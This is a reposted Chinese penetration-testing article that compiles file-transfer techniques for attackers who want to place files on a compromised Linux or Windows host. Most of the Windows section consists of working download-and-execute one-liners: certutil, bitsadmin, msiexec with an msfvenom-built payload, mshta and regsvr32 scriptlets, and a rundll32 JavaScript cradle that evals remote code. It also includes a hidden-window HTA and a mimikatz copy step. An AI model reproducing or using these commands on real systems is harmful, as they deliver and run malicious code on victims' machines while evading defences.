点击 机器学习算法与Python学习选择加星标

精彩内容不迷路
本文转自Python编程时光

# 1. 简介

在我们渗透测试的过程中,通常会需要向目标主机传送一些文件,来达到提权,维持控制等目的。因此当不方便进行直接传输时,同时目标主机是能有网络连接的,那么此时就可以通过本地下载这种方法来达到文件传输的目的。此篇文章,我会对互联网上针对win与linux大部分的下载指令来做一个汇总,可能会有疏漏,但汇总的都是经常会用的。

# 2. Linux

2.1 Wget

这款工具功能很丰富,可以充当某种功能完备的GUI下载管理器,它拥有一款理想的下载管理器所需要的所有功能,比如它可以恢复下载,可以下载多个文件,出现某个连接问题后,可以重新尝试下载,你甚至可以管理最大的下载带宽。
直接下载:
wget
 http://www.sample-videos.com/video/mp4/big.mp4 

后台下载:
wget
 -b http://www.sample-videos.com/video/mp4/big.mp4 

如果互联网连接出现中断,恢复下载:
wget
 -c http://www.sample-videos.com/video/mp4/big.mp4 

从某个密码保护的ftp软件库下载文件:
wget --ftp-user=
<user_name>
 --ftp-password=
<Give_password>
 Download-url-address 

2.2 Curl

Curl是另一种高效的下载工具,它可以用来上传或下载文件,只要使用一个简单的命令。它支持暂停和恢复下载程序包,并支持数量最多的Web协议,可预测下载完成还剩余多少时间,可通过进度条来显示下载进度。它是所有Linux发行版的内置工具。
直接下载:
curl
 -o um.mp4 http://www.sample-videos.com/video/mp4/big.mp4 

借助-o选项,提供名称,下载文件会以该名称保存;如使用-O选项,文件就会以原始名称保存。

2.3 Axel

这是wget的出色替代者,是一款轻量级下载实用工具。它实际上是个加速器,因为它打开了多路http连接,可下载独立文件片段,因而文件下载起来更快速。
apt-
get
 install axel 

直接下载:
axel
 http://www.sample-videos.com/video/mp4/big.mp4 

2.4 Aria2

这是一种开源命令行下载加速器,支持多个端口,你可以使用最大带宽来下载文件,是一款易于安装、易于使用的工具。
apt-
get
 install aria2 

直接下载:
aria2c
 http://www.sample-videos.com/video/mp4/big.mp4 

2.5 Perl

Perl是一门很吊的语言,使用它基本可以实现任何事情,用它实现文件下载也很简单。
#!perl
#!/usr/bin/perl
useLWP
::
Simple
;

getstore(
"http://domain/file"
"file"
);

执行脚本文件是这样:
perltest.pl

2.6 Python

Python也是很受欢迎的主流脚本语言,代码清晰且简洁:
#!python

#!/usr/bin/python

import urllib2

u = urllib2.urlopen(
'http://domain/file'
)

localFile = 
open
(
'local_file'
'w'
)

localFile.
write
(u.
read
())

localFile.
close
()

2.7 Ruby

Ruby是一个面对对象的语言,Metasploit框架就是用它来实现的,当然他也可以实现像下载文件这样的小任务。
#!ruby
#!/usr/bin/ruby
require'net/http'
Net::HTTP.start(
"www.domain.com"
) { 
|http|
r = http.get(
"/file"
)

open(
"save_location"
"wb"
) { 
|file|
file.write(r.body)

}

}

执行脚本文件是这样;
rubytest.rb

2.8 PHP

PHP作为一种服务端脚本,也可以实现下载文件这种功能。
#!/usr/bin/php
<?php
        $data = @file(
"http://example.com/file"
);

        $lf = 
"local_file"
;

        $fh = fopen($lf, 
'w'
);

        fwrite($fh, $data[
0
]);

        fclose($fh);

?>
执行脚本文件是这样:
phptest.php

2.9 FTP

一般情况下攻击者使用FTP上传文件需要很多交互的步骤,下面这个 bash 脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。
ftp
 127
.0.0.1
username
password
getfile
exit
当然根据实际情况也可以进入交互终端:
ftp
 192
.168.3.2
输入用户名和密码后

lcdE
:\
file
 # 进入
E
盘下的
file
目录

cdwww
 # 进入服务器上的
www
目录

getaccess.log
 # 将服务器上的
access.log
下载到
E
:\
file

2.10 Netcat

攻击者的电脑上输入:
cat
 file | nc -l 
1234
这个命令会将file的内容输出到本地的1234端口中,然后不论谁连接此端口,file的内容将会发送到连接过来的IP。
目标电脑上的命令:
nc
 host_ip 
1234
 > file

这条命令将连接攻击者的电脑,接受file内容保存。

# 3. Windows

3.1 Powershell

PowerShell 是一种winodws原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。
下面这两条指令实现了从Internet网络下载一个文件。
$p = 
New
-Object System.Net.WebClient

$p.DownloadFile(
"http://domain/file""C:\%homepath%\file"
)

3.2 IPC$

copy
 \
192.168.3.1
\c$\test.exe E:\file


cmd.exe /k < \webdavserver\folder\batchfile.txt

3.3 Certutil

可以应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2
certutil -urlcache -
split
 -f http:
//192.168
.
3.1
/test.exe file.exe

certutil -urlcache -
split
 -f http:
//192.168
.
3.1
/test.exe 
delete#删除缓存

certutil -verifyctl -
split
 -f -
split
 http:
//192.168
.
3.1
/test.exe

#此条命令,会将原文件下载成为临时 bin 文件,把名字改回来一样可以正常运行
文件下载并执行如下:
certutil -urlcache -split -f http:
//site.com/a a.exe && a.exe &&  del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete

3.4 Visual Basic

在1998年Visual Basic最终标准在windows上确定。下面的代码可以实现下载文件,虽然它的长度比Powershell长多了。
Set
 args = Wscript.Arguments

Url = 
"http://domain/file"
dim
 xHttp: 
Set
 xHttp = createobject(
"Microsoft.XMLHTTP"
)

dim
 bStrm: 
Set
 bStrm = createobject(
"Adodb.Stream"
)

xHttp.Open 
"GET"
, Url, 
False
xHttp.Send

with
 bStrm

    .type = 
1'
    .open

    .write xHttp.responseBody

    .savetofile 
" C:\%homepath%\file"
2'
endwith
在windows中Cscript指令可以允许你执行VBS脚本文件或者对script脚本做一些设置。在windows 7中这个指令并不是必须要用到。但是在windows XP中需要使用这条指令,如下所示:
cscripttest.vbs

3.5 Tftp

在Windows Vista以及以后的版本中默认有FTP,可以使用以下命令运行:
上传:
tftp
 -i IP地址 PUT C:\%homepath%\file 远程存放位置

下载:
tftp
 -i IP地址 GET C:\%homepath%\file 本地存放位置

3.6 Bitsadmin

Bitsadmin是Windows命令行工具,用户可以使用它来创建下载或上传的任务。只能命令下载到指定路径上,win7以上:
bitsadmin
 /transfer myDownLoadJob /download /priority normal 
"http://192.168.203.140/b.ps1""E:\\phpstudy_pro\\WWW\\b.ps1"

bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt


bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt

3.7 msiexec

msiexec
 /q /i http://192.168.3.1/calc.png

calc.png:



msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png

3.8 IEExec

C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off

C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec http://192.168.3.1/test.exe

3.9 Python

C:\python27\python.exe -c “import urllib2; 
exec
 urllib2.urlopen(‘http://192.168.3.1/test.zip’).
read
();”

3.10 Mshta

mshta http://192.168.3.1/run.hta

run.hta 内容如下:
<HTML>
<metahttp-equiv="Content-Type"content="text/html; charset=utf-8">
<HEAD>
<scriptlanguage="VBScript">
Window.ReSizeTo 
0
0
Window.moveTo 
-2000
,
-2000
Set
 objShell = CreateObject(
"Wscript.Shell"
)

objShell.Run 
"cmd.exe /c net user"// 这里填写命令
self.close

</script>
<body>
demo

</body>
</HEAD>
</HTML>
mshta
 vbscript:Close(Execute(
"GetObject(""script:http://webserver/payload.sct"")"
))

3.11 Rundll32

依赖于WScript.shell这个组件:
rundll32.exe javascript:
"\..\mshtml,RunHTMLApplication "
;
document
.write();h=
new
%
20
ActiveXObject(
"WinHttp.WinHttpRequest.5.1"
);h.Open(
"GET"
,
"http://127.0.0.1:8081/connect"
,
false
);
try
{h.Send();b=h.ResponseText;
eval
(b);}
catch
(e){
new
%
20
ActiveXObject(
"WScript.Shell"
).Run(
"cmd /c taskkill /f /im rundll32.exe"
,
0
,
true
);}%

3.12 Regsvr32

Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。
WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。
regsvr32
 /u /s /i:http://192.168.3.1/test.data scrobj.dll

test.data内容:
<?XML version="1.0"?>
<scriptlet>
<
registration
progid
=
"ShortJSRAT"
classid
=
"{10001111-0000-0000-0000-0000FEEDACDC}"
 >

<!-- Learn from Casey Smith @subTee -->
<scriptlanguage="JScript">
        <![CDATA[

            ps  = "cmd.exe /c calc.exe";

            new ActiveXObject("WScript.Shell").Run(ps,0,true);


        ]]>

</script>
</registration>
</scriptlet>
还可以利用 https://github.com/CroweCybersecurity/ps1encode 生成sct文件:
regsvr32
 /u /s /i:http://192.168.3.1/test.sct scrobj.dll

3.13 Windows Share

Windows shares可以加载一个驱动器,然后用命令来复制文件。
加载远程驱动:
net 
use
 x: \\
127.0.0.1
\
share
 /
user
:example.com\userID myPassword

3.14 格式转换

当需要把一个exe文件放到目标计算机上时,Nishang可以使用PowerShell允许你把一个exe转换成hex,然后把hex再转换成原来的exe文件:
把exe转成hex文件输入:
PS
 > .\
ExetoText.ps1evil.exeevil.txt
打开evil.txt文件,复制内容,然后通过RDP的剪贴板复制进目标计算机,把hex文件还原成exe文件输入:
PS
 > .\
TexttoExe.ps1evil.textevil.exe

3.15 其它

1.MSXSL.EXE
msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。
2.pubprn.vbs

在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于
C:\Windows\System32\Printing_Admin_Scripts\en-US
3.esentutl.exe/extrac32.exe
esentutl.exe /y 
"\\172.16.249.149\share mimikatz_trunk.zip"
 /d
"C:\Users\Public\mimikatz_trunk.zip"
 /
0
extrac32.exe /Y /C \\
172.16.249.149
\share\test.txt C:\Users\
Public
\test.txt

4.desktopimgdownldr.exe

desktopimgdownldr.exe 位于 Win10 的 system32 文件夹中,原本用于设置锁定屏幕或桌面背景图像的。
普通用户可以用:
set"SYSTEMROOT=C:\ProgramData"
 && cmd /c desktopimgdownldr.exe /lockscreenurl:
http
://
url
/xxx.exe /eventName:desktopimgdownldr

这样来下载文件。
可以把C:\ProgramData来改成一个普通用户可写的目录。
下载的文件存放于:
C
:\
ProgramData
\
Personalization
\
LockScreenImage
\
x_
%
random
%
.exe
.

管理员用户会多写一个注册表项,所以管理员最好的命令是:
set
"SYSTEMROOT=C:\ProgramData\" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://url/file.exe /eventName:desktopimgdownldr && reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /f

# 4. 参考链接

https://xz.aliyun.com/t/1654

https://www.t00ls.net/articles-49501.html

https://evi1cg.me/archives/remote_exec.html

https://www.unixmen.com/top-10-command-line-tools-downloading-linux/
作者:肖洋肖恩、
原文链接:https://www.cnblogs.com/-mo-/p/12109717.html
觉得不错,请点个在看
继续阅读
阅读原文